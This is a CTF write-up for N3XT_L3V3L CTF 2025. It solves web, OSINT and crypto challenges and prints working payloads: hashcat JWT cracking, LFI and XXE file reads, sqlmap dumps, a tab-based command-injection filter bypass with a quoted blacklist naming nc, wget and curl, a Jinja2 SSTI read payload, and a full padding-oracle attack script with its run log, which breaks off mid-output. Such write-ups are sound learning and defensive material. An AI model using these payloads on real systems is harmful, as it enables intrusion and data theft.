Post

N3XT_L3V3L CTF 2025

N3XT_L3V3L CTF 2025

My write-up covers the challenges I solved mainly in Web, OSINT and Crypto categories involving JWT cracking, LFI, SQLi, SSTI, XXE, command injection, clickjacking, and OSINT tracing using tools like Sherlock, Pastebin analysis and also Oracle Padding bruteforcing.

Web

A Secret in Silence

image

We are given a login page where access levels are determined by a JWT token. The hint mentions that the secret key is exactly 8 digits long.

Solution

  1. Login as Guest
    • After logging in, the browser stores a JWT token in cookies.
    • Decoding the token shows it is signed with HS256.

image

image

  1. Cracking the JWT Secret
    • Since the secret is 8 digits long, we use hashcat with mode 16500 (JWT HS256).
    • Command used:
      1
      
      hashcat -m 16500 -a 3 <jwt_token> '?d?d?d?d?d?d?d?d'
      
    • This successfully recovers the secret: 49932332.

image

image

  1. Forging an Admin Token
    • With the cracked secret, we modify the payload:
      1
      2
      3
      4
      
      {
        "user": "test",
        "isAdmin": true
      }
      
    • Sign the new token using the secret 49932332.

image

Flag

  1. Accessing Admin Panel
    • Replace the cookie with the forged token.
    • Refreshing the page now shows access level ADMIN.
    • The flag is revealed.

image

1
n3xt{jWt_brUt3f0rc3_1s_fun_r1ght?}

Ancient Manuscript

Screenshot 2025-08-27 235616

This challenge had nothing else display on the front side, Just a plain web with a text Ancient Manuscripts Archive

Screenshot 2025-08-28 000001

Solution

  1. Ran gobuster and found endpoints /archive and /console.
  • /archive - gave usage hint (?page=file_name.txt).

  • /console - always returned 400 Bad Request so im guessing its likely rabbit hole.

image

  1. Testing for LFI

Sent /archive?page=../../../../etc/passwd

image

/etc/passwd is the go-to canary file. If it shows user accounts, LFI is real.

  1. Fingerprinting the Environment

Tried /archive?page=../../../../proc/self/environ

image

1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=9a35ca495f14LANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.9.23PYTHON_SHA256=61a42919e13d539f7673cf11d1c404380e28e540510860b9d242196e165709c9HOME=/rootWERKZEUG_SERVER_FD=5WERKZEUG_RUN_MAIN=true

Found: PYTHON_VERSION=3.9, WERKZEUG_RUN_MAIN=true - Python Flask/Werkzeug server.

HOME=/root, running as root.

Tried /archive?page=../../../../proc/self/cmdline

image

Showed: /usr/local/bin/python/app.py - the app entrypoint.

/proc is a goldmine: environ shows env vars (sometimes FLAG=…), cmdline reveals how the app was launched.

  1. Current Working Directory Enumeration

/archive?page=../../../../proc/self/cwd/ - follow CWD symlink to app root.

Checked /proc/self/cwd/app.py

image

LFI can use /proc/self/cwd/ to read files relative to the app’s actual working directory, bypassing path guesswork.

  1. Reading Source Code

LFI can use /proc/self/cwd/ to read files relative to the app’s actual working directory, bypassing path guesswork.

Code snippet showed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from flask import Flask, request, render_template, abort
import os
import time

app = Flask(__name__)

BASE_DOCUMENT_PATH = 'documents'


@app.before_request
def slow_down_all_requests():
    time.sleep(0.2)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/archive')
def archive():
    file_name = request.args.get('page')

    if not file_name:
        return """
        
Archive Document Viewer

        
To view a document, use the ?page=file_name.txt parameter.


        
For example: /archive?page=manuscript1.txt


        """, 400

    try:
        file_path = os.path.join(BASE_DOCUMENT_PATH, file_name)
        
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
        
        return f'
{content}
'

    except FileNotFoundError:
        abort(404, f"File not found: {file_name}")
    except Exception as e:
        abort(500, f"Internal server error: {e}")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)








# Folder: ../.secret

BASE_DOCUMENT_PATH = 'documents' # Folder: ../.secret

Flag

This revealed the hidden folder containing the flag.

image

1
n3xt{Y0U_F0UND_TH3_S3CR3T_F1L3!!!!!!}

Are you robot?

image

This challenge is quite simple. It’s required us to verify by sliding the slider.

image

Solution

1) We just need to slide to get the first part of the flag.

image

First part of flag: n3xt{dr4g_

From the source code we can find that the challenge tend to simulate on how clickjacking work. Here’s how the hidden iframe will then simulate that simple vulnerable verification might compromised us.

index.html

1
2
3
4
5
6
7
8
 <div class="slider-wrapper">
                <div class="slider-track">
                    <div class="slider-handle">></div>
                    <span class="slider-text">Slide to Verify</span>
                </div>
                
                <iframe class="hidden-frame" src="/file-manager"></iframe>
            </div>

file-manager.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Manager</title>
    <link rel="stylesheet" href="/static/main.css">
</head>
<body class="panel-body">
    <div class="file-manager">
        <div id="draggable-file" class="file-icon" draggable="true">
            📄 My-Secrets.zip
        </div>

        <div id="drop-zone" class="trash-icon">
            🗑️
        </div>
    </div>

    <script>
        const draggable = document.getElementById('draggable-file');
        const dropZone = document.getElementById('drop-zone');

        draggable.addEventListener('dragstart', (event) => {
            event.dataTransfer.setData('text/plain', event.target.id);
        });

        dropZone.addEventListener('dragover', (event) => {
            event.preventDefault();
        });

        dropZone.addEventListener('drop', async (event) => {
            event.preventDefault();
            
            draggable.style.display = 'none';
            dropZone.style.color = '#e74c3c'; 
            
            try {
                const response = await fetch('/delete-file', { method: 'POST' });
                const result = await response.json();
                window.parent.postMessage(result, '*');
            } catch (error) {
                console.error("Could not send request to server.");
            }
        });
    </script>
</body>
</html>

2) Next part of the flag at robots.txt

Second part of the flag: {"flag":"4nd_dr0p_h1j4ck3d_succ3ssfully}"}

image

Flag

1
n3xt{dr4g_4nd_dr0p_h1j4ck3d_succ3ssfully}

Screenshot 2025-08-28 000356

ChronoCorp

The portal lets you query a user profile by User ID (/?id=). That’s a classic injection point.

Screenshot 2025-08-28 000339

At first, I thought the challenge might just be about bruteforcing User IDs until the flag showed up. While testing, I reached ID 101 and found a profile called admin_legacy with the note “Access is restricted.”

Screenshot 2025-08-28 000350

That made me overthink for a while, maybe it needed some kind of header exploit to bypass the restriction. But after a bit of testing, it became clear the real issue wasn’t about headers or bruteforce at all. The real vulnerability was hiding in the SQL injection on the User ID parameter.

That’s when I circled back and realized the real vulnerability wasn’t about brute-forcing IDs or headers it was hiding in the SQL query behind the User ID parameter.

So my first instinct was to try the usual suspects:

' OR 1=1-- - did it show all users?

1' ORDER BY 5-- - maybe cause an error?

' UNION SELECT null,...-- - maybe dump some data directly?

But every attempt came back flat. No error messages, no obvious changes in the page, and definitely no dumped rows. The app just kept calmly returning the same profile as if nothing had happened.

At that point, I started piecing it together: if the input is injectable but doesn’t give me data back, and also refuses to leak errors, then it’s not error-based or UNION-based. What I was dealing with was almost certainly blind SQL injection.

Solution

Before diving deeper manually, I kicked off a sqlmap scan with broader settings and left it running while I checked other challenges:

1
2
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" \
  --batch --level=3 --risk=2

When I came back, sqlmap had confirmed my suspicion. The parameter id was indeed vulnerable:

image

No visible output, but controllable query delays meant time-based blind SQLi on SQLite.

Normally the next step would be to enumerate all databases and tables:

1
2
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" --batch --dbs
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" --batch -D SQLite_masterdb --tables

From that list, one table stood out immediately:

image

Then, Enumerate columns of secret_flag

1
2
3
sqlmap -u "https://nodeleaf.ctf.n3xtl3v3l.site/?id=101" \
  --batch --dbms=SQLite --technique=T --time-sec=2 --threads=10 \
  -D SQLite_masterdb -T secret_flag --dump
  • --dbms=SQLite → lock sqlmap onto the right backend.
  • --technique=T → force time-based blind injection.
  • --time-sec=2 → 2-second delay probes (keeps it reliable but not painfully slow).
  • --threads=10 → speed up enumeration (parallel requests).

Once I confirmed the database contained a suspicious table named secret_flag, I went straight for it. Instead of bothering with the users or sqlite_sequence tables, I told sqlmap to dump everything from secret_flag:

Flag

image

1
n3xt{t1m3_b4s3d_bl1nd_sqli_is_fun}

After solving it with blind SQL injection, I later discovered there was actually a much easier way. By enumerating the subdomain files, the entire SQLite database could be downloaded directly from:

1
https://nodeleaf.ctf.n3xtl3v3l.site/users.db

Opening this file locally with sqlite3 users.db would instantly reveal the secret_flag table and the flag, skipping the time-based extraction entirely.

Command Runner

Screenshot 2025-08-27 154817

The page presented a minimal interface: a text box where you could enter system commands to execute. The hint was in the description:

image

“Many common commands and characters are restricted.”

Looking at the HTML source revealed the blacklist:

1
2
3
4
5
<!--
    $blacklist = [';', '&', '|', '`', '$', '(', ')', '<', '>', '{', '}', 'cat', 'more', 'less', 'head', 'tail', 'nl', 'ls', 'dir', 'sh', 'bash', 'python', 'perl', 'php', 'ruby', 'nc', 'netcat', 'wget', 'curl', 'rm', 'mv', 'cp', 'echo', 'printf', 'awk', 'sed', 'grep', 'cut', 'sort', 'base64', 'rev', 'tac'
    
    ,'uniq','xdd']
    -->

Solution

Directly typing ls or cat was blocked.

But blacklists often fail when you add whitespace tricks like tabs %09 or unexpected characters. I even thought about using the classic IFS bypass (${IFS}), but since both {} and $ were filtered out in this challenge, that wasn’t an option. Luckily, %09 worked right away and was much simpler.

For example:

1
l\s%09-lah%09

This bypassed the ls filter and listed the current directory:

image

I checked inside the fein folder, but there was nothing useful there. In fact, this challenge was a bit messy some players had already dumped files.

I MEANT, THAT MESSY:

image

imageimage

Fake flag.txt files, joke names like flag[your_ass], and troll notes like note_i_have_a_shell_there_is_no_flag were everywhere.Since the blacklist was weak, it was trivial for players to bypass it and create junk files, so the place quickly got flooded with distractions. The chaos made the challenge look harder than it really was, even though the real solution was much simpler.

At first, I wasted time chasing these distractions. Trying find, opening bogus flag2.txt, even grepping for “n3xt”. But none of it led anywhere. The noise just made the challenge look way harder than it actually was.

In reality, the flag wasn’t hidden under all that clutter. It was sitting in /root, untouched, waiting for a proper bypass.

Navigating upward also worked:

1
l\s%09-lah%09/

image

This gave full directory listings, including /root and interesting scripts.

While poking around, I stumbled on watchdog.sh. Reading through it, I noticed it had a simple loop that would restore index.php from /root/backup/index.php if it was ever deleted. Interesting detail - not directly part of the solve, but it hinted that /root/backup might hold something important.

1
ca\t%09/watchdog.s\h

image

/var/www/html/index.php → the application source

/root/backup/index.php → a backup copy

But with the heavy blacklist in place, every attempt either got blocked or returned nothing useful. It felt like the flag was deliberately hidden out of reach.

At this stage though, the challenge environment felt chaotic. With all the troll files floating around, I honestly thought maybe some kids had escalated access and even deleted the real flag without the author noticing. For a few hours I second-guessed myself, even pinged the author for a quick sanity check and then took a Netflix break to reset my brain.

When I came back, I shifted my approach. Instead of brute-forcing the filesystem with find, grep, or searching for “n3xt”, I decided to look at /root/backup/index.php.

image

That was the turning point. Seeing that the backup copy of the app lived inside /root, it clicked: if backups are stored here, maybe the flag is too.

Flag

So I tried reading /root/flag.txt directly, using a tab-injected bypass for cat:

image

1
ca\t%09/root/flag.txt

And it worked!! 🚩

1
n3xt{C0mm@nd_Inj3ct!0n_success_sorry_for_fucking_error}

Screenshot 2025-08-27 221025

image

N3XTG3N

We are presented with a web application that reflects our input back into the page. This hints at a possible Server-Side Template Injection (SSTI) vulnerability.

image

Solution

  1. Testing for SSTI
    • Submitting {{7*7}} returns 49.
    • This confirms template injection is possible (likely Jinja2).

image

  1. Getting the Flag
    • Instead of overcomplicating things, I simply guessed that the flag would be in flag.txt.
    • Using SSTI to read it:

      {{ cycler.__init__.__globals__['__bui'~'ltins__']['o'~'pen']('fl'~'ag'~'.t'~'xt')['re'~'ad']() }}
      
    • This successfully revealed the flag.

image

Flag

1
n3xt{sst1_m4k3_4_p3rf3ct_ch4ll3ng3}

Processor

Screenshot 2025-08-27 221025

The challenge gives us an XML “Processor” web app where we can submit arbitrary XML. This immediately suggests XML External Entity (XXE) injection.

image

Solution

  1. Prove XXE is working

Payload to test reading /etc/passwd (classic harmless file):

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<root>&x;</root>

image

  1. Inspect application code

Next, check the app source for hints by reading app.py from the current working directory:

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///proc/self/cwd/app.py"> ]>
<root>&x;</root>

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<root># app.py
from flask import Flask, request, render_template
from lxml import etree
import time
# CONFIG_FILE_PATH = "/etc/superapp/config.xml"



app = Flask(__name__)


@app.before_request
def slow_down_all_requests():
    time.sleep(0.2)




@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        xml_content = request.form.get('xml', '')
        parser = etree.XMLParser(resolve_entities=True)
        try:
            doc = etree.fromstring(xml_content.encode('utf-8'), parser=parser)
            result = etree.tostring(doc, pretty_print=True).decode('utf-8')
            return render_template('index.html', result=result, xml_input=xml_content)
        except Exception as e:
            return render_template('index.html', error=str(e), xml_input=xml_content)

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=True)
</root>
  1. Follow configuration hints

From app.py, we see it references /etc/superapp/config.xml. Let’s dump it:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///etc/superapp/config.xml"> ]>
<root>&x;</root>

image

1
2
<root><configuration>     <database>         <host>localhost</host>         <user>db_user</user>     </database>     <logging>                 <secret_storage_path>/var/data_archive/secret/flag.txt</secret_storage_path>     </logging> </configuration>
</root>

Flag

  1. Exfiltrate the flag
1
2
3
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY x SYSTEM "file:///var/data_archive/secret/flag.txt"> ]>
<root>&x;</root>

Finally, retrieve the flag directly:

1
n3xt{xxe_1s_n0t_s0_3xt3rn4l}

flag.txt

image

This challenge require us to type flag.txt to get flag. And the page sends what you type to /check and the server replies per-character with status: “correct” | “incorrect”

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
        try {
            const response = await fetch('/check', {
                method: 'POST',n
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ input: attemptString })
            });
            const data = await response.json();
            let incorrectCharsFound = false;

            data.validation.forEach((item, index) => {
                const input = inputs[index];
                input.classList.remove('correct', 'incorrect');
                if (item.status === 'correct') {
                    input.classList.add('correct');
                } else if (item.status === 'incorrect') {
                    input.classList.add('incorrect');
                    incorrectCharsFound = true;
                }
            });
            
            if (incorrectCharsFound) {
                 feedbackText.textContent = "Error: Incorrect filename.";
                 feedbackText.style.color = "#da3633";
            } else {
                 feedbackText.textContent = "Awaiting input...";
                 feedbackText.style.color = "#8b949e"; 
            }

            if (data.all_correct) {
                finalFlagEl.textContent = data.final_flag; 
                resultMessage.style.display = 'block';
                flagInputArea.style.display = 'none';
                feedbackText.style.display = 'none';
            }

        } catch (error) {
            console.error("Error communicating with server:", error);
            feedbackText.textContent = "Connection to validation server failed.";
        }

Solution

So the plan is to use the /check endpoint as an oracle and brute-force each position with sets of confusable characters until it marks that position “correct”, then lock it in and move to the next position. You can solve it entirely from the browser console with this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const endpoint = '/check';

// Expanded homoglyph candidates
const C = {
  'f': [
    'f','ƒ', // latin
    '𝒇','𝓯','𝔣','𝖋','𝘧','𝙛','𝗳','𝚏', // math variants
  ],
  'l': [
    'l', // ASCII
    '', // U+217C small roman numeral fifty
    '', // U+2113 script l
    '𝑙','𝒍','𝓵','𝔩','𝖑','𝗅','𝗹','𝘭','𝙡','𝚕', // math l's
    'ӏ', // U+04CF Cyrillic small letter palochka
    'ı', // U+0131 dotless i
    'ǀ', // U+01C0 dental click (vertical bar)
    '', // U+FF5C fullwidth vertical line
    '', // U+2223 divides
    '¦'  // broken bar
  ],
  'a': [
    'a','ɑ','ɐ','', // latin
    'а', // U+0430 Cyrillic small a
    '𝑎','𝒂','𝓪','𝔞','𝖆','𝗮','𝘢','𝙖','𝚊', // math
  ],
  'g': [
    'g' // looks ASCII in your screenshot
  ],
  '.': ['.'],
  't': [
    't','ţ','ť','ŧ','ƫ','ƭ','ʇ', // latin variants
    'т', // U+0442 Cyrillic small te
    '𝑡','𝒕','𝓽','𝔱','𝖙','𝗍','𝗧','𝘵','𝙩','𝚝' // math
  ],
  'x': [
    'x','×','','', // ASCII and math
    'х', // U+0445 Cyrillic small ha
    '𝑥','𝒙','𝔵','𝖝','𝗑','𝗫','𝘹','𝙭','𝚡' // math
  ],
};

const target = ['f','l','a','g','.','t','x','t']; // flag.txt
let attempt = target.slice();

async function tryPos(i){
  for (const ch of C[target[i]]) {
    attempt[i] = ch;
    const res = await fetch(endpoint, {
      method:'POST',
      headers:{'Content-Type':'application/json'},
      body: JSON.stringify({input: attempt.join('')})
    }).then(r=>r.json());

    if (res.validation[i].status === 'correct'){
      console.log(`pos ${i} locked as "${ch}" (U+${ch.codePointAt(0).toString(16).toUpperCase()})`);
      if (res.all_correct){
        console.log('🎉 FLAG:', res.final_flag);
      }
      return true;
    }
  }
  console.warn('No match at pos', i, '— expand the candidate set and retry.');
  return false;
}

(async () => {
  // Check all positions (the script will lock them in once correct)
  for (let i=0; i<target.length; i++) {
    await tryPos(i);
  }
})();

Flag

image

image

1
n3xt{W3lc0m3_t0_th3_Un1c0d3_W0rld!}

Osint

Account

image

1) I used sherlock for this, but there’s plenty other more osint tool you can find from osint framework.

image

2) We would then stumble with an account of azerom123 from bsky

image

3) From the comment we would find url https://pastebin.com/4iQD9LJ9

image

Flag

1
n3xt{1_f0und_7h3_m3ss4g3}

Old Flag

image

image

1
n3xt{1_2_crescent_and_star}

They don’t know me son….

image

image\

image

1
n3xt{Literaly no water there, so sad.}

Screenshot 2025-08-27 182710

Crypto

I solved 7 and one more crypto question, but i actually forgetten to do the writeup earlier and now im busy!!

Oracle

I am not deep into cryptography. I searched for ready-made padding-oracle tools. From chall.py I saw the server prints a ciphertext and answers only “Valid Padding” or “Invalid Padding” to hex input, and it uses raw TCP. Most popular tools (PadBuster, padding-oracle-attacker) expect HTTP, so they were not a direct fit. I asked ChatGPT to adapt an existing CTF tool. We used mpgn/Padding-oracle-attack (Python) because it lets you swap the oracle layer. I replaced two small functions to speak TCP, ran the attack, and recovered the plaintext and flag.

Here is the final script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#! /usr/bin/python3
import argparse
import re
import sys
from itertools import cycle

# ===== CUSTOM ORACLE FOR RAW TCP (N3xtCTF) =====
import socket

TARGET_HOST = "185.207.251.177"
TARGET_PORT = 1600

class _NoopConn:
    def close(self):  # mpgn core calls .close(); nothing to close here
        pass

def test_validity(response, error):
    """
    Our TCP oracle returns text that contains either:
        "Valid Padding"  or  "Invalid Padding"
    mpgn expects: return 1 for VALID, 0 for INVALID.
    We use the --error argument as the INVALID indicator string.
    """
    if isinstance(response, bytes):
        response = response.decode("utf-8", "ignore")
    return 0 if error in response else 1

def call_oracle(host, cookie, url, post, method, up_cipher):
    """
    Ignore HTTP params. Connect to TCP, send hex + newline,
    read until we see a decision. Return (conn_like, response_text).
    """
    s = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=8)
    s.settimeout(5.0)
    try:
        # drain banner/prompt
        try:
            _ = s.recv(8192)
        except socket.timeout:
            pass

        # send crafted ciphertext
        s.sendall((up_cipher + "\n").encode())

        # read until decision appears
        buf = b""
        while True:
            try:
                chunk = s.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            buf += chunk
            if b"Valid Padding" in buf or b"Invalid Padding" in buf:
                break

        resp_text = buf.decode("utf-8", "ignore")
        return _NoopConn(), resp_text
    finally:
        try:
            s.close()
        except:
            pass
# ===== END CUSTOM ORACLE =====

def split_len(seq, length):
    return [seq[i:i+length] for i in range(0, len(seq), length)]

def block_search_byte(size_block, i, pos, l):
    hex_char = hex(pos).split("0x")[1]
    return (
        "00" * (size_block - (i + 1))
        + ("0" if len(hex_char) % 2 != 0 else "")
        + hex_char
        + "".join(l)
    )

def block_padding(size_block, i):
    l = []
    for t in range(0, i + 1):
        l.append(
            ("0" if len(hex(i + 1).split("0x")[1]) % 2 != 0 else "")
            + (hex(i + 1).split("0x")[1])
        )
    return "00" * (size_block - (i + 1)) + "".join(l)

def hex_xor(s1, s2):
    b = bytearray()
    for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
        b.append(c1 ^ c2)
    return b.hex()

def run(cipher, size_block, host, url, cookie, method, post, error):
    cipher = cipher.upper()
    found = False
    valide_value = []
    result = []
    len_block = size_block * 2
    cipher_block = split_len(cipher, len_block)

    if len(cipher_block) == 1:
        print("[-] Abort there is only one block")
        sys.exit()

    # for each cipher_block
    for block in reversed(range(1, len(cipher_block))):
        if len(cipher_block[block]) != len_block:
            print("[-] Abort length block doesn't match the size_block")
            break
        print("[+] Search value block : ", block, "\n")

        # for each byte of the block
        for i in range(0, size_block):
            # test each byte max 255
            for ct_pos in range(0, 256):
                # 1 xor 1 = 0 or valid padding need to be checked
                if ct_pos != i + 1 or (
                    len(valide_value) > 0 and int(valide_value[-1], 16) == ct_pos
                ):

                    bk = block_search_byte(size_block, i, ct_pos, valide_value)
                    bp = cipher_block[block - 1]
                    bc = block_padding(size_block, i)

                    tmp = hex_xor(bk, bp)
                    cb = hex_xor(tmp, bc).upper()

                    up_cipher = cb + cipher_block[block]

                    # call the oracle
                    connection, response = call_oracle(
                        host, cookie, url, post, method, up_cipher
                    )

                    # DO NOT print response.status (not HTTP)
                    exe = re.findall("..", cb)
                    discover = ("").join(exe[size_block - i : size_block])
                    current = ("").join(exe[size_block - i - 1 : size_block - i])
                    find_me = ("").join(exe[: -i - 1])
                    sys.stdout.write(
                        f"\r[+] Test [Byte {ct_pos:03d}/256 - Block {block} ]: \033[31m{find_me}\033[33m{current}\033[36m{discover}\033[0m"
                    )
                    sys.stdout.flush()

                    if test_validity(response, error):
                        found = True
                        try:
                            connection.close()
                        except:
                            pass

                        value = re.findall("..", bk)
                        valide_value.insert(0, value[size_block - (i + 1)])

                        print("")
                        print("[+] Block M_Byte : %s" % bk)
                        print("[+] Block C_{i-1}: %s" % bp)
                        print("[+] Block Padding: %s" % bc)
                        print("")

                        bytes_found = "".join(valide_value)
                        if (
                            i == 0
                            and int(bytes_found, 16) > size_block
                            and block == len(cipher_block) - 1
                        ):
                            print(
                                "[-] Error decryption failed the padding is > "
                                + str(size_block)
                            )
                            sys.exit()

                        print("\033[36m\033[1m[+]\033[0m Found", i + 1, "bytes :", bytes_found)
                        print("")
                        break

            if found == False:
                # assume padding is 01 for the last byte of last block (padding block)
                if len(cipher_block) - 1 == block and i == 0:
                    value = re.findall("..", bk)
                    valide_value.insert(0, "01")
                    print("")
                    print("[-] No padding found, but maybe the padding is length 01 :)")
                    print("[+] Block M_Byte : %s" % bk)
                    print("[+] Block C_{i-1}: %s" % bp)
                    print("[+] Block Padding: %s" % bc)
                    print("")
                    bytes_found = "".join(valide_value)
                else:
                    print("\n[-] Error decryption failed")
                    result.insert(0, "".join(valide_value))
                    hex_r = "".join(result)
                    print("[+] Partial Decrypted value (HEX):", hex_r.upper())
                    padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
                    try:
                        ascii_part = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode()
                    except:
                        ascii_part = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode("latin1")
                    print("[+] Partial Decrypted value (ASCII):", ascii_part)
                    sys.exit()
            found = False

        result.insert(0, "".join(valide_value))
        valide_value = []

    print("")
    hex_r = "".join(result)
    print("[+] Decrypted value (HEX):", hex_r.upper())
    padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
    try:
        ascii_full = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode()
    except:
        ascii_full = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode("latin1")
    print("[+] Decrypted value (ASCII):", ascii_full)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit of Padding Oracle Attack (TCP-adapted)")
    parser.add_argument("-c", "--cipher", required=True, help="cipher you want to decrypt (hex IV||C...)")
    parser.add_argument("-l","--length_block_cipher", required=True, type=int, help="length of a block cipher: 8,16")
    parser.add_argument("--host", required=True, help="dummy (ignored)")
    parser.add_argument("-u", "--urltarget", required=True, help="dummy (ignored)")
    parser.add_argument("--error", required=True, help="INVALID indicator, e.g. 'Invalid Padding'")
    parser.add_argument("--cookie", default="", help="ignored for TCP")
    parser.add_argument("--method", default="GET", help="ignored for TCP")
    parser.add_argument("--post", default="", help="ignored for TCP")
    args = parser.parse_args()

    run(
        args.cipher,
        args.length_block_cipher,
        args.host,
        args.urltarget,
        args.cookie,
        args.method,
        args.post,
        args.error,
    )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
┌──(kali㉿kali)-[~/Desktop/ctf/N3xtCTF/Padding-oracle-attack]
└─$ python3 exploit_tcp.py \
  -c bf27aaf4b8e66094f6bce5717cf2889a9cf304412717053cd1011fc8b738d2b7bbeca475cfca263e74c18716fbca722d82ff7382864443b9201f276a19517d5390da90e67cd42be2977d3571d1da1828 \
  -l 16 \
  --host dummy \
  -u / \
  --error "Invalid Padding"

[+] Search value block :  4 

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A19517D5E
[+] Block M_Byte : 0000000000000000000000000000000c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000000001

[+] Found 1 bytes : 0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A1951735D
[+] Block M_Byte : 00000000000000000000000000000c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000000202

[+] Found 2 bytes : 0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A195E725C
[+] Block M_Byte : 000000000000000000000000000c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000000030303

[+] Found 3 bytes : 0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A1159755B
[+] Block M_Byte : 0000000000000000000000000c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000000000000000004040404

[+] Found 4 bytes : 0c0c0c0c

[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F27631058745A
[+] Block M_Byte : 00000000000000000000000c0c0c0c0c
